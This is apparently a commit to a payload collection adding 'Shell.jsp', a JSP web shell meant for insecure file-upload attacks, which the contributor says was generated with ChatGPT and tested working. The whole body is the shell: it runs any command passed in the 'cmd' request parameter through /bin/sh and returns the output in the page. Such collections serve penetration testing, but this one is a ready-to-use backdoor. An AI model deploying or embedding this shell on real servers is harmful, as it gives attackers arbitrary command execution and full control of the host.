Create Shell.jsp

JSP Web Shell is not here So I created it with GPT and Tried its working.

Upload Insecure Files/JSP Web Shell/Shell.jsp

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+<%@ page import="java.io.*" %>  
+<%  
+    // Generated with ChatGPT and tested its working by Me
+    // Check if the "cmd" parameter is provided in the HTTP request  
+    if (request.getParameter("cmd") != null) {  
+        String cmd = request.getParameter("cmd"); // Get the command from the request  
+        StringBuilder output = new StringBuilder(); // Store command output  
+
+        try {  
+            // Create a process to execute the command using /bin/sh (Linux shell)
+            Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
+
+            // Read the command's standard output (stdout)
+            BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
+
+            // Read the command's error output (stderr)
+            BufferedReader errorReader = new BufferedReader(new InputStreamReader(p.getErrorStream()));
+
+            String line;  
+            // Read and store stdout output line by line
+            while ((line = reader.readLine()) != null) {  
+                output.append(line).append("\n");  
+            }
+
+            // Read and store stderr output line by line (for errors)
+            while ((line = errorReader.readLine()) != null) {  
+                output.append(line).append("\n");  
+            }
+
+            // Close the readers to free up system resources
+            reader.close();  
+            errorReader.close();  
+
+            // Wait for the command to finish execution
+            p.waitFor();  
+        } catch (Exception e) {  
+            // Capture and display any exceptions that occur during execution
+            output.append("Error: ").append(e.toString());  
+        }  
+
+        // Display the command output inside a <pre> tag for better formatting
+        out.println("<pre>" + output.toString() + "</pre>");  
+    }  
+%>